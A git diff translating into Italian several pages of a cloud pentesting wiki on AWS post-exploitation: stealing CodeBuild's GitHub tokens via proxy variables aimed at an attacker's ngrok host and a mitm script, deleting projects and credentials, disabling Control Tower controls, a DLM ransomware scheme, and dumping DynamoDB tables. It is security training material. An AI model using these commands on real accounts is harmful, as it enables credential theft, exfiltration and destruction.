-An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\
-In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you):
+Un attaccante con **permessi elevati su un CodeBuild** potrebbe abusare di questo accesso configurato per leakare il codice del repo configurato e di altri a cui le credenziali impostate hanno accesso.\
+Per fare ciò, un attaccante dovrebbe semplicemente **cambiare l'URL del repository a ciascun repo a cui le credenziali di configurazione hanno accesso** (nota che il web di aws elencherà tutti per te):
-And **change the Buildspec commands to exfiltrate each repo**.
+E **cambiare i comandi Buildspec per esfiltrare ciascun repo**.
> [!WARNING]
-> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\
-> Or does he? Check the next section
+> Tuttavia, questo **compito è ripetitivo e noioso** e se un token github è stato configurato con **permessi di scrittura**, un attaccante **non sarà in grado di (ab)usare quei permessi** poiché non ha accesso al token.\
+> O sì? Controlla la sezione successiva
-### Leaking Access Tokens from AWS CodeBuild
-
-You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
+### Leakare Token di Accesso da AWS CodeBuild
+Puoi leakare l'accesso dato in CodeBuild a piattaforme come Github. Controlla se è stato dato accesso a piattaforme esterne con:
```bash
aws codebuild list-source-credentials
```
-
{{#ref}}
aws-codebuild-token-leakage.md
{{#endref}}
### `codebuild:DeleteProject`
-An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project.
-
+Un attaccante potrebbe eliminare un intero progetto CodeBuild, causando la perdita della configurazione del progetto e influenzando le applicazioni che dipendono dal progetto.
```bash
aws codebuild delete-project --name
```
-
-**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project.
+**Impatto Potenziale**: Perdita della configurazione del progetto e interruzione del servizio per le applicazioni che utilizzano il progetto eliminato.
### `codebuild:TagResource` , `codebuild:UntagResource`
-An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
-
+Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse di CodeBuild, interrompendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le politiche di controllo degli accessi basate sui tag.
```bash
aws codebuild tag-resource --resource-arn --tags
aws codebuild untag-resource --resource-arn --tag-keys
```
-
-**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
+**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo degli accessi basate sui tag.
### `codebuild:DeleteSourceCredentials`
-An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository.
-
+Un attaccante potrebbe eliminare le credenziali di origine per un repository Git, influenzando il normale funzionamento delle applicazioni che dipendono dal repository.
```sql
aws codebuild delete-source-credentials --arn
```
-
-**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials.
+**Impatto Potenziale**: Interruzione del normale funzionamento delle applicazioni che dipendono dal repository interessato a causa della rimozione delle credenziali sorgente.
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index c514d7a7c..b3449d30c 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -2,73 +2,68 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## Recover Github/Bitbucket Configured Tokens
-
-First, check if there are any source credentials configured that you could leak:
+## Recupera i Token Configurati di Github/Bitbucket
+Prima di tutto, controlla se ci sono credenziali di origine configurate che potresti leak:
```bash
aws codebuild list-source-credentials
```
-
### Via Docker Image
-If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
+Se scopri che l'autenticazione, ad esempio su Github, è impostata nell'account, puoi **esfiltrare** quell'**accesso** (**token GH o token OAuth**) facendo in modo che Codebuild **utilizzi un'immagine docker specifica** per eseguire la build del progetto.
-For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
+A questo scopo potresti **creare un nuovo progetto Codebuild** o modificare l'**ambiente** di uno esistente per impostare l'**immagine Docker**.
-The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
+L'immagine Docker che potresti utilizzare è [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Questa è un'immagine Docker molto basilare che imposterà le **variabili d'ambiente `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Questo ti permetterà di intercettare la maggior parte del traffico dell'host indicato in **`https_proxy`** e **`http_proxy`** e di fidarti del certificato SSL indicato in **`SSL_CERT_FILE`**.
-1. **Create & Upload your own Docker MitM image**
- - Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**.
- - **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint.
- - You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host
- - Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...)
-2. **Set the environment**
- - Create a **new Codebuild project** or **modify** the environment of an existing one.
- - Set the project to use the **previously generated Docker image**
+1. **Crea e carica la tua immagine Docker MitM**
+- Segui le istruzioni del repo per impostare il tuo indirizzo IP proxy e impostare il tuo certificato SSL e **costruire l'immagine docker**.
+- **NON IMPOSTARE `http_proxy`** per non intercettare le richieste all'endpoint dei metadati.
+- Potresti usare **`ngrok`** come `ngrok tcp 4444` per impostare il proxy sul tuo host.
+- Una volta che hai costruito l'immagine Docker, **caricala su un repo pubblico** (Dockerhub, ECR...)
+2. **Imposta l'ambiente**
+- Crea un **nuovo progetto Codebuild** o **modifica** l'ambiente di uno esistente.
+- Imposta il progetto per utilizzare l'**immagine Docker precedentemente generata**.
-3. **Set the MitM proxy in your host**
-
-- As indicated in the **Github repo** you could use something like:
+3. **Imposta il proxy MitM nel tuo host**
+- Come indicato nel **repo Github**, potresti usare qualcosa come:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
-
> [!TIP]
-> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work.
+> La **versione di mitmproxy utilizzata era la 9.0.1**, è stato segnalato che con la versione 10 questo potrebbe non funzionare.
-4. **Run the build & capture the credentials**
+4. **Esegui la build e cattura le credenziali**
-- You can see the token in the **Authorization** header:
+- Puoi vedere il token nell'intestazione **Authorization**:
-
-
-This could also be done from the aws cli with something like
+
+Questo potrebbe essere fatto anche dalla aws cli con qualcosa come
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
- "name": "my-demo-project",
- "source": {
- "type": "GITHUB",
- "location": "https://github.com/uname/repo",
- "buildspec": "buildspec.yml"
- },
- "artifacts": {
- "type": "NO_ARTIFACTS"
- },
- "environment": {
- "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
- "image": "docker.io/carlospolop/docker-mitm:v12",
- "computeType": "BUILD_GENERAL1_SMALL",
- "imagePullCredentialsType": "CODEBUILD"
- }
+"name": "my-demo-project",
+"source": {
+"type": "GITHUB",
+"location": "https://github.com/uname/repo",
+"buildspec": "buildspec.yml"
+},
+"artifacts": {
+"type": "NO_ARTIFACTS"
+},
+"environment": {
+"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
+"image": "docker.io/carlospolop/docker-mitm:v12",
+"computeType": "BUILD_GENERAL1_SMALL",
+"imagePullCredentialsType": "CODEBUILD"
+}
}
## Json
@@ -76,117 +71,102 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
-
### Via insecureSSL
-**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
-Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform.
-
-- First you need to enumerate the current configuration with something like:
+I progetti **Codebuild** hanno un'impostazione chiamata **`insecureSsl`** che è nascosta nel web e puoi cambiarla solo dall'API.\
+Abilitando questo, consente a Codebuild di connettersi al repository **senza controllare il certificato** offerto dalla piattaforma.
+- Prima devi enumerare la configurazione attuale con qualcosa come:
```bash
aws codebuild batch-get-projects --name
```
-
-- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration).
- - Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like:
-
+- Quindi, con le informazioni raccolte, puoi aggiornare l'impostazione del progetto **`insecureSsl`** a **`True`**. Di seguito è riportato un esempio del mio aggiornamento di un progetto, nota il **`insecureSsl=True`** alla fine (questo è l'unica cosa che devi cambiare dalla configurazione raccolta).
+- Inoltre, aggiungi anche le variabili d'ambiente **http_proxy** e **https_proxy** che puntano al tuo tcp ngrok come:
```bash
aws codebuild update-project --name \
- --source '{
- "type": "GITHUB",
- "location": "https://github.com/carlospolop/404checker",
- "gitCloneDepth": 1,
- "gitSubmodulesConfig": {
- "fetchSubmodules": false
- },
- "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
- "auth": {
- "type": "CODECONNECTIONS",
- "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
- },
- "reportBuildStatus": false,
- "insecureSsl": true
- }' \
- --environment '{
- "type": "LINUX_CONTAINER",
- "image": "aws/codebuild/standard:5.0",
- "computeType": "BUILD_GENERAL1_SMALL",
- "environmentVariables": [
- {
- "name": "http_proxy",
- "value": "http://2.tcp.eu.ngrok.io:15027"
- },
- {
- "name": "https_proxy",
- "value": "http://2.tcp.eu.ngrok.io:15027"
- }
- ]
- }'
+--source '{
+"type": "GITHUB",
+"location": "https://github.com/carlospolop/404checker",
+"gitCloneDepth": 1,
+"gitSubmodulesConfig": {
+"fetchSubmodules": false
+},
+"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
+"auth": {
+"type": "CODECONNECTIONS",
+"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
+},
+"reportBuildStatus": false,
+"insecureSsl": true
+}' \
+--environment '{
+"type": "LINUX_CONTAINER",
+"image": "aws/codebuild/standard:5.0",
+"computeType": "BUILD_GENERAL1_SMALL",
+"environmentVariables": [
+{
+"name": "http_proxy",
+"value": "http://2.tcp.eu.ngrok.io:15027"
+},
+{
+"name": "https_proxy",
+"value": "http://2.tcp.eu.ngrok.io:15027"
+}
+]
+}'
```
-
-- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
-
+- Quindi, esegui l'esempio di base da [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) nella porta indicata dalle variabili proxy (http_proxy e https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
- host="127.0.0.1",
- port=4444,
- protocols=[protocol.HTTP],
- middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
- certificate_authority = crypto.CertificateAuthority()
+host="127.0.0.1",
+port=4444,
+protocols=[protocol.HTTP],
+middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
+certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-
-- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+- Infine, clicca su **Build the project**, le **credenziali** saranno **inviate in chiaro** (base64) alla porta mitm:
-### ~~Via HTTP protocol~~
+### ~~Via protocollo HTTP~~
-> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
+> [!TIP] > **Questa vulnerabilità è stata corretta da AWS in qualche momento della settimana del 20 febbraio 2023 (penso venerdì). Quindi un attaccante non può più abusarne :)**
-An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
+Un attaccante con **permessi elevati su un CodeBuild potrebbe leakare il token Github/Bitbucket** configurato o se i permessi sono stati configurati tramite OAuth, il **token OAuth temporaneo utilizzato per accedere al codice**.
-- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`).
+- Un attaccante potrebbe aggiungere le variabili ambientali **http_proxy** e **https_proxy** al progetto CodeBuild puntando alla sua macchina (ad esempio `http://5.tcp.eu.ngrok.io:14972`).
-- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions`
-- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
-
+- Poi, cambiare l'URL del repository github per utilizzare HTTP invece di HTTPS, ad esempio: `http://github.com/carlospolop-forks/TestActions`
+- Poi, eseguire l'esempio base da [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) nella porta indicata dalle variabili proxy (http_proxy e https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
- host="0.0.0.0",
- port=4444,
- protocols=[protocol.HTTP],
- middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
- certificate_authority = crypto.CertificateAuthority()
+host="0.0.0.0",
+port=4444,
+protocols=[protocol.HTTP],
+middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
+certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-
-- Next, click on **Build the project** or start the build from command line:
-
+- Successivamente, fai clic su **Build the project** o avvia la build dalla riga di comando:
```sh
aws codebuild start-build --project-name
```
-
-- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+- Infine, le **credenziali** saranno **inviate in chiaro** (base64) alla porta mitm:
> [!WARNING]
-> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly.
+> Ora un attaccante sarà in grado di utilizzare il token dalla sua macchina, elencare tutti i privilegi che ha e (ab)usare più facilmente rispetto all'utilizzo diretto del servizio CodeBuild.
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
index f1c6fb394..88295b03d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
@@ -8,17 +8,11 @@
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
{{#endref}}
-### Enable / Disable Controls
-
-To further exploit an account, you might need to disable/enable Control Tower controls:
+### Abilitare / Disabilitare Controlli
+Per sfruttare ulteriormente un account, potrebbe essere necessario disabilitare/abilitare i controlli di Control Tower:
```bash
aws controltower disable-control --control-identifier --target-identifier
aws controltower enable-control --control-identifier --target-identifier
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index baa309e53..fb1be559d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -6,94 +6,86 @@
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot.
+Un attacco ransomware può essere eseguito crittografando il maggior numero possibile di volumi EBS e poi cancellando le attuali istanze EC2, volumi EBS e snapshot. Per automatizzare questa attività malevola, si può utilizzare Amazon DLM, crittografando gli snapshot con una chiave KMS di un altro account AWS e trasferendo gli snapshot crittografati a un account diverso. In alternativa, potrebbero trasferire snapshot senza crittografia a un account che gestiscono e poi crittografarli lì. Anche se non è semplice crittografare direttamente i volumi EBS o gli snapshot esistenti, è possibile farlo creando un nuovo volume o snapshot.
-Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type.
+Innanzitutto, si utilizzerà un comando per raccogliere informazioni sui volumi, come ID istanza, ID volume, stato di crittografia, stato di attacco e tipo di volume.
`aws ec2 describe-volumes`
-Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs.
-
+In secondo luogo, si creerà la policy di ciclo di vita. Questo comando utilizza l'API DLM per impostare una policy di ciclo di vita che esegue automaticamente snapshot giornalieri dei volumi specificati a un orario designato. Applica anche tag specifici agli snapshot e copia i tag dai volumi agli snapshot. Il file policyDetails.json include i dettagli della policy di ciclo di vita, come tag target, programma, l'ARN della chiave KMS opzionale per la crittografia e l'account target per la condivisione degli snapshot, che verranno registrati nei log di CloudTrail della vittima.
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
-
-A template for the policy document can be seen here:
-
+Un modello per il documento della policy può essere visto qui:
```bash
{
- "PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
- "ResourceTypes": [
- "VOLUME"
- ],
- "TargetTags": [
- {
- "Key": "ExampleKey",
- "Value": "ExampleValue"
- }
- ],
- "Schedules": [
- {
- "Name": "DailySnapshots",
- "CopyTags": true,
- "TagsToAdd": [
- {
- "Key": "SnapshotCreator",
- "Value": "DLM"
- }
- ],
- "VariableTags": [
- {
- "Key": "CostCenter",
- "Value": "Finance"
- }
- ],
- "CreateRule": {
- "Interval": 24,
- "IntervalUnit": "HOURS",
- "Times": [
- "03:00"
- ]
- },
- "RetainRule": {
- "Count": 14
- },
- "FastRestoreRule": {
- "Count": 2,
- "Interval": 12,
- "IntervalUnit": "HOURS"
- },
- "CrossRegionCopyRules": [
- {
- "TargetRegion": "us-west-2",
- "Encrypted": true,
- "CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
- "CopyTags": true,
- "RetainRule": {
- "Interval": 1,
- "IntervalUnit": "DAYS"
- }
- }
- ],
- "ShareRules": [
- {
- "TargetAccounts": [
- "123456789012"
- ],
- "UnshareInterval": 30,
- "UnshareIntervalUnit": "DAYS"
- }
- ]
- }
- ],
- "Parameters": {
- "ExcludeBootVolume": false
- }
+"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
+"ResourceTypes": [
+"VOLUME"
+],
+"TargetTags": [
+{
+"Key": "ExampleKey",
+"Value": "ExampleValue"
+}
+],
+"Schedules": [
+{
+"Name": "DailySnapshots",
+"CopyTags": true,
+"TagsToAdd": [
+{
+"Key": "SnapshotCreator",
+"Value": "DLM"
+}
+],
+"VariableTags": [
+{
+"Key": "CostCenter",
+"Value": "Finance"
+}
+],
+"CreateRule": {
+"Interval": 24,
+"IntervalUnit": "HOURS",
+"Times": [
+"03:00"
+]
+},
+"RetainRule": {
+"Count": 14
+},
+"FastRestoreRule": {
+"Count": 2,
+"Interval": 12,
+"IntervalUnit": "HOURS"
+},
+"CrossRegionCopyRules": [
+{
+"TargetRegion": "us-west-2",
+"Encrypted": true,
+"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
+"CopyTags": true,
+"RetainRule": {
+"Interval": 1,
+"IntervalUnit": "DAYS"
+}
+}
+],
+"ShareRules": [
+{
+"TargetAccounts": [
+"123456789012"
+],
+"UnshareInterval": 30,
+"UnshareIntervalUnit": "DAYS"
+}
+]
+}
+],
+"Parameters": {
+"ExcludeBootVolume": false
+}
}
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index d63689d9e..6dd006ffc 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -4,7 +4,7 @@
## DynamoDB
-For more information check:
+Per ulteriori informazioni controlla:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
@@ -12,342 +12,292 @@ For more information check:
### `dynamodb:BatchGetItem`
-An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`).
+Un attaccante con questi permessi sarà in grado di **ottenere elementi dalle tabelle tramite la chiave primaria** (non puoi semplicemente richiedere tutti i dati della tabella). Questo significa che devi conoscere le chiavi primarie (puoi ottenere queste informazioni recuperando i metadati della tabella (`describe-table`).
{{#tabs }}
{{#tab name="json file" }}
-
```bash
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
- "ProductCatalog" : { // This is the table name
- "Keys": [
- {
- "Id" : { // Primary keys name
- "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
- }
- }
- ]
- }
+"ProductCatalog" : { // This is the table name
+"Keys": [
+{
+"Id" : { // Primary keys name
+"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
+}
+}
+]
+}
}
```
-
{{#endtab }}
{{#tab name="inline" }}
-
```bash
aws dynamodb batch-get-item \
- --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
- --region
+--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
+--region
```
-
{{#endtab }}
{{#endtabs }}
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
### `dynamodb:GetItem`
-**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve:
-
+**Simile ai permessi precedenti** questo consente a un potenziale attaccante di leggere valori da solo 1 tabella dato la chiave primaria dell'elemento da recuperare:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
- "N": "205"
+"N": "205"
}
}
```
-
-With this permission it's also possible to use the **`transact-get-items`** method like:
-
+Con questo permesso è anche possibile utilizzare il metodo **`transact-get-items`** come:
```json
aws dynamodb transact-get-items \
- --transact-items file:///tmp/a.json
+--transact-items file:///tmp/a.json
// With a.json
[
- {
- "Get": {
- "Key": {
- "Id": {"N": "205"}
- },
- "TableName": "ProductCatalog"
- }
- }
+{
+"Get": {
+"Key": {
+"Id": {"N": "205"}
+},
+"TableName": "ProductCatalog"
+}
+}
]
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
### `dynamodb:Query`
-**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request.
+**Simile ai permessi precedenti** questo consente a un potenziale attaccante di leggere valori da solo 1 tabella dato la chiave primaria dell'entrata da recuperare. Consente di utilizzare un [sottoinsieme di confronti](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con la chiave primaria (che deve apparire) è "EQ", quindi non puoi utilizzare un confronto per ottenere l'intero DB in una richiesta.
{{#tabs }}
{{#tab name="json file" }}
-
```bash
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
- // With a.json
- {
+// With a.json
+{
"Id" : {
- "ComparisonOperator":"EQ",
- "AttributeValueList": [ {"N": "205"} ]
- }
+"ComparisonOperator":"EQ",
+"AttributeValueList": [ {"N": "205"} ]
+}
}
```
-
{{#endtab }}
{{#tab name="inline" }}
-
```bash
aws dynamodb query \
- --table-name TargetTable \
- --key-condition-expression "AttributeName = :value" \
- --expression-attribute-values '{":value":{"S":"TargetValue"}}' \
- --region
+--table-name TargetTable \
+--key-condition-expression "AttributeName = :value" \
+--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
+--region
```
-
{{#endtab }}
{{#endtabs }}
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
### `dynamodb:Scan`
-You can use this permission to **dump the entire table easily**.
-
+Puoi utilizzare questo permesso per **estrarre facilmente l'intera tabella**.
```bash
aws dynamodb scan --table-name #Get data inside the table
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
### `dynamodb:PartiQLSelect`
-You can use this permission to **dump the entire table easily**.
-
+Puoi utilizzare questo permesso per **estrarre facilmente l'intera tabella**.
```bash
aws dynamodb execute-statement \
- --statement "SELECT * FROM ProductCatalog"
+--statement "SELECT * FROM ProductCatalog"
```
-
-This permission also allow to perform `batch-execute-statement` like:
-
+Questa autorizzazione consente anche di eseguire `batch-execute-statement` come:
```bash
aws dynamodb batch-execute-statement \
- --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
+--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
+ma è necessario specificare la chiave primaria con un valore, quindi non è così utile.
-but you need to specify the primary key with a value, so it isn't that useful.
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
-This permission will allow an attacker to **export the whole table to a S3 bucket** of his election:
-
+Questo permesso consentirà a un attaccante di **esportare l'intera tabella in un bucket S3** di sua scelta:
```bash
aws dynamodb export-table-to-point-in-time \
- --table-arn arn:aws:dynamodb:::table/TargetTable \
- --s3-bucket \
- --s3-prefix \
- --export-time \
- --region
+--table-arn arn:aws:dynamodb:::table/TargetTable \
+--s3-bucket \
+--s3-prefix \
+--export-time \
+--region
```
-
-Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with:
-
+Nota che per farlo funzionare la tabella deve avere il ripristino a un determinato momento abilitato, puoi controllare se la tabella ce l'ha con:
```bash
aws dynamodb describe-continuous-backups \
- --table-name
+--table-name
```
-
-If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission:
-
+Se non è abilitato, dovrai **abilitarlo** e per questo hai bisogno del permesso **`dynamodb:ExportTableToPointInTime`**:
```bash
aws dynamodb update-continuous-backups \
- --table-name \
- --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
+--table-name \
+--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
-With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table.
-
+Con questi permessi, un attaccante sarebbe in grado di **creare una nuova tabella da un backup** (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con i permessi necessari, sarebbe in grado di controllare **informazioni** dai backup che **potrebbero non essere più nella tabella di produzione**.
```bash
aws dynamodb restore-table-from-backup \
- --backup-arn \
- --target-table-name \
- --region
+--backup-arn \
+--target-table-name \
+--region
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table backup
+**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nel backup della tabella
### `dynamodb:PutItem`
-This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**.
+Questo permesso consente agli utenti di aggiungere un **nuovo elemento alla tabella o sostituire un elemento esistente** con un nuovo elemento. Se un elemento con la stessa chiave primaria esiste già, **l'intero elemento sarà sostituito** con il nuovo elemento. Se la chiave primaria non esiste, un nuovo elemento con la chiave primaria specificata sarà **creato**.
{{#tabs }}
-{{#tab name="XSS Example" }}
-
+{{#tab name="Esempio XSS" }}
```bash
## Create new item with XSS payload
aws dynamodb put-item --table --item file://add.json
### With add.json:
{
- "Id": {
- "S": "1000"
